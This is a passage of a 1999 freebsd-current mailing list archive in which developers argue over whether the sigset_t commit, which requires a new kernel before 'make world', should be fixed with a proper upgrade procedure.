bloom@acm.org

Doug wrote:
> 
> On Thu, 30 Sep 1999, Harold Gutch wrote:
> 
> > Uhm, that's the way I see it being _right now_ as well. What I
> > was thinking of, was that things would go smoother if you
> > wouldn't upgrade _right now_, but in [insert some time in the
> > near future here], as things would perhaps be "fixed" by then.
> 
>         There is no fix to make. If the binaries built by the current
> sources cannot run unless the sigset_t stuff is in the kernel of the
> machine that they are running on this problem will never be "fixed."
> 
> Doug


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18:23:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id 02F95150AB
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 18:22:48 -0700 (PDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id VAA02018;
	Wed, 29 Sep 1999 21:22:36 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 29 Sep 1999 21:22:36 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <199909300122.VAA02018@khavrinen.lcs.mit.edu>
To: Joe Abley <jabley@patho.gen.nz>
Cc: current@FreeBSD.ORG
Subject: Re: FICL breakage...
In-Reply-To: <19990930102350.A25061@patho.gen.nz>
References: <37F20376.64A46CEA@newsguy.com>
	<199909291002.MAA52950@gratis.grondar.za>
	<19990929230549.F10020@patho.gen.nz>
	<199909292217.QAA06450@harmony.village.org>
	<19990930102350.A25061@patho.gen.nz>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

<<On Thu, 30 Sep 1999 10:23:50 +1200, Joe Abley <jabley@patho.gen.nz> said:

> On Wed, Sep 29, 1999 at 04:17:50PM -0600, Warner Losh wrote:
>> FWIW, one mus have perl installed to build a kernel.

> Is that desirable? Or do we need more awk?

Um, yes.  The reason we have Perl in the base system is so that
programs like this can be written -- in a way that (a) doesn't involve
a seventeen-pipeline shell script, and (b) is maintainable by people
whose names are not Aho, Weinberger, or Kernighan.

-GAWollman

PS: Yes, I know that awk is standardized.  That doesn't make it any
clearer when the program is doing something other than iterating over
each line in an input file.

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18:25: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id ADBAC15267
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 18:25:01 -0700 (PDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id VAA02039;
	Wed, 29 Sep 1999 21:24:59 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 29 Sep 1999 21:24:59 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <199909300124.VAA02039@khavrinen.lcs.mit.edu>
To: Jim Bloom <bloom@acm.org>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F2BA3C.D54CC74B@acm.org>
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com>
	<37F2BA3C.D54CC74B@acm.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

<<On Wed, 29 Sep 1999 21:17:48 -0400, Jim Bloom <bloom@acm.org> said:

> I believe this must be fixed.

There is no way it can be ``fixed''.  That's Just The Way It Is.  I'm
sorry that you're having a problem with this.  Nobody ever said
keeping -current would be easy.

-GAWollman

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 19:14:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pike.sover.net (pike.sover.net [209.198.87.34])
	by hub.freebsd.org (Postfix) with ESMTP id 0FB81159B1
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 19:13:25 -0700 (PDT)
	(envelope-from adams@digitalspark.net)
Received: from nightfall.digitalspark.net (arc0a68.bf.sover.net [209.198.85.68])
	by pike.sover.net (8.9.3/8.9.3) with ESMTP id WAA09481
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 22:13:23 -0400 (EDT)
Comments: SoVerNet Verification (on pike.sover.net)
	nightfall.digitalspark.net from arc0a68.bf.sover.net [209.198.85.68] 209.198.85.68
	Wed, 29 Sep 1999 22:13:23 -0400 (EDT)
Date: Wed, 29 Sep 1999 22:17:16 +0000 (GMT)
From: Adam Strohl <adams@digitalspark.net>
To: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F2BA3C.D54CC74B@acm.org>
Message-ID: <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Jim Bloom wrote:

> I believe this must be fixed.  At some point in time, there is going to be
> another change to the kernel such that some older version of the code cannot run
> on a new kernel.  I believe this situation has occurred before.  This will lead
> to a situation where a new kernel is required before the build and a new build
> is required before the new kernel is installed.  We cannot have this paradox.

FTPing a GENERIC kernel from somewhere would solve this, then just
single user the box, make world.  Build your kernel.  Reboot.

I have to side with the people who say that this being a problem for
someone means that person shouldn't be running -current.

Furthermore, for when 4.0 becomes a -R or -S, ftping in a compiled kernel
shouldn't be that hard of a price to pay for going from 3.2.  

/stand/sysinstall based upgrades could easily seemlessly take care of
this, too.

I'm sure people are working on a fix for having to do this, but doing it
just isn't this big of a deal.  Maybe I'm missing something.

- ----( Adam Strohl )------------------------------------------------ -
-  UNIX Operations/Systems               http://www.digitalspark.net  -
-  adams (at) digitalspark.net                    xxx.xxx.xxxx xxxxx  -
- ----------------------------------------( DigitalSpark.NET )------- -




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 19:15:56 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 6B2E115983
	for <current@freebsd.org>; Wed, 29 Sep 1999 19:15:30 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id TAA18921;
	Wed, 29 Sep 1999 19:15:29 -0700 (PDT)
	(envelope-from jdp@polstra.com)
From: John Polstra <jdp@polstra.com>
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id TAA23947;
	Wed, 29 Sep 1999 19:15:29 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Date: Wed, 29 Sep 1999 19:15:29 -0700 (PDT)
Message-Id: <199909300215.TAA23947@vashon.polstra.com>
To: marcel@scc.nl
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F23064.98EEBC67@scc.nl>
References: <37F23064.98EEBC67@scc.nl>
Organization: Polstra & Co., Seattle, WA
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I got world built and installed OK on the alpha now, and things
generally seem OK.  However, amd dumped core with a SEGV immediately
upon startup.  I haven't had even a second to try to debug it yet.
Just thought I'd let you know about it.

John
-- 
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 20:33: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20])
	by hub.freebsd.org (Postfix) with ESMTP id C61F31562F
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 20:32:28 -0700 (PDT)
	(envelope-from bright@wintelcom.net)
Received: from localhost (bright@localhost)
	by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id UAA03347;
	Wed, 29 Sep 1999 20:50:03 -0700 (PDT)
Date: Wed, 29 Sep 1999 20:50:03 -0700 (PDT)
From: Alfred Perlstein <bright@wintelcom.net>
To: Harold Gutch <logix@foobar.franken.de>
Cc: Doug <Doug@gorean.org>, Ben Rosengart <ben@skunk.org>,
	Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: how to avoid bullets in the feet (was Re: HEADS UP: sigset_t changes
 committed)
In-Reply-To: <19990930012053.A27137@foobar.franken.de>
Message-ID: <Pine.BSF.4.05.9909292048250.6368-100000@fw.wintelcom.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


What's really needed is some warning sort of like what we
did when the AOUT->ELF convertion happened, there has
to be a simple way to test this as part of installworld.

-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org]
Wintelcom systems administrator and programmer
   - http://www.wintelcom.net/ [bright@wintelcom.net]


On Thu, 30 Sep 1999, Harold Gutch wrote:

> On Wed, Sep 29, 1999 at 04:17:29PM -0700, Doug wrote:
> > On Wed, 29 Sep 1999, Ben Rosengart wrote:
> > 
> > > On Wed, 29 Sep 1999, Harold Gutch wrote:
> > > 
> > > > I interpreted the way of currently handling things (build the
> > > > kernel first, then the userland) to be a _temporary_ solution,
> > > > that Marcel was working on being fixed. If this is not the case,
> > > > then I agree with you.
> > > 
> > > If I understand correctly, it only needs to be done once per system, but
> > > it makes no difference whether it happens on a given system now or six
> > > months from now.
> > 
> > 	Yes, if I understand Marcel correctly from this moment forward
> > everyone who upgrades from any version of freebsd prior to today's
> > -current will have to build the kernel first. 
> > 
> Uhm, that's the way I see it being _right now_ as well. What I
> was thinking of, was that things would go smoother if you
> wouldn't upgrade _right now_, but in [insert some time in the
> near future here], as things would perhaps be "fixed" by then.
> And yes, I'm thinking of an upgrade from the "classical
> kernel/userland" to the "new one", e.g. an upgrade from last
> week's kernel and userland to the one in two months time.
> 
> Perhaps I silently just expected too much :).
> 
> bye,
>   Harold
> 
> -- 
> <Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
> Wed Mar  4 04:53:33 CET 1998   #unix, ircnet
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 20:42: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.utexas.edu (wb3-a.mail.utexas.edu [128.83.126.138])
	by hub.freebsd.org (Postfix) with SMTP id 401FF1529A
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 20:42:01 -0700 (PDT)
	(envelope-from rkw@dataplex.net)
Received: (qmail 18881 invoked by uid 0); 30 Sep 1999 03:42:00 -0000
Received: from dial-51-53.ots.utexas.edu (HELO nomad.dataplex.net) (128.83.113.149)
  by umbs-smtp-3 with SMTP; 30 Sep 1999 03:42:00 -0000
From: Richard Wackerbarth <rkw@dataplex.net>
To: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>,
	Jim Bloom <bloom@acm.org>
Subject: Re: HEADS UP: sigset_t changes committed
Date: Wed, 29 Sep 1999 22:29:23 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
Cc: current@FreeBSD.ORG
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <37F2BA3C.D54CC74B@acm.org> <199909300124.VAA02039@khavrinen.lcs.mit.edu>
In-Reply-To: <199909300124.VAA02039@khavrinen.lcs.mit.edu>
MIME-Version: 1.0
Message-Id: <99092922415900.64838@nomad.dataplex.net>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Garrett Wollman wrote:
> <<On Wed, 29 Sep 1999 21:17:48 -0400, Jim Bloom <bloom@acm.org> said:
> 
> > I believe this must be fixed.
> 
> There is no way it can be ``fixed''.  That's Just The Way It Is.  I'm
> sorry that you're having a problem with this.  Nobody ever said
> keeping -current would be easy.

I have to agree with Rod that we need to fix the tools so that there is a
transition. IMHO, it is unacceptable to expect EVERYONE to "jump" to the new
scheme by installing a new kernel.

There is nothing fundamental in the toolset which SHOULD care about the
underlying kernel. Compilers, loaders, etc. are just programs that operate on
the contents of files. Think of compiling the 4.0 system on a 3.3 system as a
simpler case of cross compiling. I should be able to compile FreeBSD 4.0/alpha
on a FreeBSD 3.3/i386 system.

Someone compiled the new system on an old one. The tools that they used should
be available as a "compatability" tool to make the transition.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 20:42:19 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id B3FD915589
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 20:41:55 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40341>; Thu, 30 Sep 1999 13:38:47 +1000
Content-return: prohibited
Date: Thu, 30 Sep 1999 13:41:41 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: HEADS UP: sigset_t changes committed
In-reply-to: <37F23064.98EEBC67@scc.nl>
To: current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Sep30.133847est.40341@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <37F23064.98EEBC67@scc.nl>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 01:29:40AM +1000, Marcel Moolenaar wrote:
>Before attempting to build world, you must make and install a new
>kernel. The new kernel will contain new syscalls that are needed during
>build world. doscmd is currently not being build because it needs fixing
>first.

I'd like to voice my concerns with this change as well.  The `normal'
upgrade procedure has always been to build and install a new world
before the new kernel.  The only exception I'm aware of has been the
aout->elf transition (where a special build procedure was provided).

This commit seems to create the same upgrade hurdle as existed with
the conversion to ELF[1].  That conversion came with an extensive
description of how to upgrade the system, as well as clear CVS tags
delimiting it.  This change has no tags and a single paragraph
warning us to install a new kernel before building world.

I can't configure or compile a -current kernel on a -stable system
(and I have no idea whether I can run a -current kernel with a -stable
world, but I suspect I can't).  This makes it very difficult to
convert a -stable system to -current.  Whilst -current is for people
who like battering their way around such hurdles, it's also the
testbed for 4.0-RELEASE, and we will need a tested and documented
upgrade procedure in place before then.

That said, I think that backing out the changes at this stage will
only make things worse.  I would like to see a clear upgrade procedure
that will enable someone to cross this hurdle when their running
system can't build or run a current kernel.

[1] Actually, in many ways this change is worse.  Recent 2.2 kernels
    will happily execute many 3.x ELF programs as long as the shared
    libraries are present.  This change makes any program that uses
    signals not backward compatible.

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 20:54:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id B477C15205
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 20:54:32 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40334>; Thu, 30 Sep 1999 13:47:32 +1000
Content-return: prohibited
Date: Thu, 30 Sep 1999 13:50:20 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: HEADS UP: sigset_t changes committed
In-reply-to:
 <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
To: Adam Strohl <adams@digitalspark.net>
Cc: current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Sep30.134732est.40334@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <37F2BA3C.D54CC74B@acm.org>
 <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 08:17:16AM +1000, Adam Strohl wrote:
>On Wed, 29 Sep 1999, Jim Bloom wrote:
>
>>I believe this must be fixed.  At some point in time, there is going
>>to be another change to the kernel such that some older version of the
>>code cannot run on a new kernel.
>
>FTPing a GENERIC kernel from somewhere would solve this, then just
>single user the box, make world.  Build your kernel.  Reboot.

This assumes that your old world can work correctly with your new
kernel (remembering that `make world' is seen as our standard system
stress test).  The whole justification for the `install the world
then upgrade the kernel' approach has been that we _do_not_ guarantee
this.

>Furthermore, for when 4.0 becomes a -R or -S, ftping in a compiled kernel
>shouldn't be that hard of a price to pay for going from 3.2.  

We've never required this before.  I managed to convert from 2.2.6 to
-current using `make upgrade'.  Why should I need to FTP a kernel
from another machine to go from 3.x to 4.x?

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 21:37:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 9F91615071
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 21:37:45 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id WAA38248;
	Wed, 29 Sep 1999 22:37:44 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id WAA08723; Wed, 29 Sep 1999 22:37:45 -0600 (MDT)
Message-Id: <199909300437.WAA08723@harmony.village.org>
To: peter.jeremy@alcatel.com.au
Subject: Re: HEADS UP: sigset_t changes committed 
Cc: Adam Strohl <adams@digitalspark.net>, current@FreeBSD.ORG
In-reply-to: Your message of "Thu, 30 Sep 1999 13:50:20 +1000."
		<99Sep30.134732est.40334@border.alcanet.com.au> 
References: <99Sep30.134732est.40334@border.alcanet.com.au>  <37F2BA3C.D54CC74B@acm.org> <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net> 
Date: Wed, 29 Sep 1999 22:37:45 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <99Sep30.134732est.40334@border.alcanet.com.au> Peter Jeremy writes:
: We've never required this before.  I managed to convert from 2.2.6 to
: -current using `make upgrade'.  Why should I need to FTP a kernel
: from another machine to go from 3.x to 4.x?

In keeping notes, what would need to happen would be that you'd have
to build config as well as all the tools to build binaries.  Sounds
like a make upgrade proceedure would need to do through the lib-tools
or build-tools targets, build the kernel, install it reboot.

The current Makefile.upgrade would have to be massively gutted and
rewritten since it deals with the aout -> elf transition, but it
shouldn't be too horrible.  This transition is a matter of building a
kernel (which has the egcs problem to deal since 3.3-stable is gcc 2.7
based).  I know there have been a fair number of make improvements,
but I don't know if they are dependencies on them in the build
procedure.

I think that we need to do this upgrade proceedure.  I wish I had more
time than to just sketch out this outline...

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 21:50:56 1999
Delivered-To: freebsd-current@freebsd.org
Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232])
	by hub.freebsd.org (Postfix) with ESMTP id 2806E14CA8
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 21:50:35 -0700 (PDT)
	(envelope-from leifn@neland.dk)
Received: from gina (gina.neland.dk [192.168.0.14])
	by arnold.neland.dk (8.9.3/8.9.3) with SMTP id GAA43251
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 06:50:34 +0200 (CEST)
	(envelope-from leifn@neland.dk)
Message-ID: <013001bf0aff$54a98fc0$0e00a8c0@neland.dk>
From: "Leif Neland" <leifn@neland.dk>
To: <current@FreeBSD.ORG>
References: <37F23064.98EEBC67@scc.nl> <99Sep30.133847est.40341@border.alcanet.com.au>
Subject: Re: HEADS UP: sigset_t changes committed
Date: Thu, 30 Sep 1999 06:50:25 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Would it at least be possible to add a test to the make-world makefile, =
saying "if kernel_version < xyzzy=20
then=20
  echo 'Sorry, install new kernel first'
  exit 9
fi"

Leif




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 21:56:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id C3B4115959
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 21:56:29 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40334>; Thu, 30 Sep 1999 14:53:21 +1000
Content-return: prohibited
Date: Thu, 30 Sep 1999 14:56:19 +1000
From: Peter Jeremy <peter.jeremy@alcatel.com.au>
Subject: Re: HEADS UP: sigset_t changes committed
In-reply-to: <199909300437.WAA08723@harmony.village.org>
To: Warner Losh <imp@village.org>
Cc: current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Sep30.145321est.40334@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <99Sep30.134732est.40334@border.alcanet.com.au>
 <37F2BA3C.D54CC74B@acm.org>
 <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
 <99Sep30.134732est.40334@border.alcanet.com.au>
 <199909300437.WAA08723@harmony.village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 02:37:45PM +1000, Warner Losh wrote:
>In keeping notes, what would need to happen would be that you'd have
>to build config as well as all the tools to build binaries.

We might be able to get away with temporarily replacing the
i386/include/atomic.h[1] with the one from -stable and using gcc 2.7.

At some stage, we need to confirm that a -current kernel will work
with a -stable world - or add the incompatible bits to the list of
things to build first.

>The current Makefile.upgrade would have to be massively gutted and
>rewritten since it deals with the aout -> elf transition, but it
>shouldn't be too horrible.

At least, no more horrible than the aout->elf procedure :-).

>I think that we need to do this upgrade proceedure.  I wish I had more
>time than to just sketch out this outline...

I think that a suitable upgrade procedure should have been thought
through and implemented before the changes were committed.  It would
also have been nice to have a CVS tag.  It's a bit late now though.

[1] It's just occurred to me that the solution for atomic.h is to
    make the asm constraints dependent on the gcc version.  Anyone
    willing to commit a change if I submit patches?

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 22: 5:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 4917515015
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 22:05:23 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA38337;
	Wed, 29 Sep 1999 23:05:13 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA09012; Wed, 29 Sep 1999 23:05:15 -0600 (MDT)
Message-Id: <199909300505.XAA09012@harmony.village.org>
To: peter.jeremy@alcatel.com.au
Subject: Re: HEADS UP: sigset_t changes committed 
Cc: current@FreeBSD.ORG
In-reply-to: Your message of "Thu, 30 Sep 1999 14:56:19 +1000."
		<99Sep30.145321est.40334@border.alcanet.com.au> 
References: <99Sep30.145321est.40334@border.alcanet.com.au>  <99Sep30.134732est.40334@border.alcanet.com.au> <37F2BA3C.D54CC74B@acm.org> <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net> <99Sep30.134732est.40334@border.alcanet.com.au> <199909300437.WAA08723@harmony.village.org> 
Date: Wed, 29 Sep 1999 23:05:15 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <99Sep30.145321est.40334@border.alcanet.com.au> Peter Jeremy writes:
: I think that a suitable upgrade procedure should have been thought
: through and implemented before the changes were committed.  It would
: also have been nice to have a CVS tag.  It's a bit late now though.

It is never too late to lay down a tag...

: [1] It's just occurred to me that the solution for atomic.h is to
:     make the asm constraints dependent on the gcc version.  Anyone
:     willing to commit a change if I submit patches?

That's the sort of change I made, but I can't seem to find them
now...

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 22: 7:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 827F015955
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 22:07:26 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id WAA22451;
          Wed, 29 Sep 1999 22:07:07 -0700 (PDT)
Message-ID: <19990929220707.10581@hydrogen.fircrest.net>
Date: Wed, 29 Sep 1999 22:07:07 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	Doug <Doug@gorean.org>, Harold Gutch <logix@foobar.franken.de>,
	Ben Rosengart <ben@skunk.org>, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199909300054.UAA01918@khavrinen.lcs.mit.edu>; from Garrett Wollman on Wed, Sep 29, 1999 at 08:54:13PM -0400
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Garrett Wollman scribbled this message on Sep 29:
> <<On Wed, 29 Sep 1999 16:51:37 -0700 (PDT), "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net> said:
> 
> > If it is broken, please back out the signal changes or fix the tools
> > target.
> 
> No, Rod, just Deal With It(tm).

actually, no, I would like this fixed... I will be unable to develope
FreeBSD if the tools target doesn't work!! I do all of my compiles on
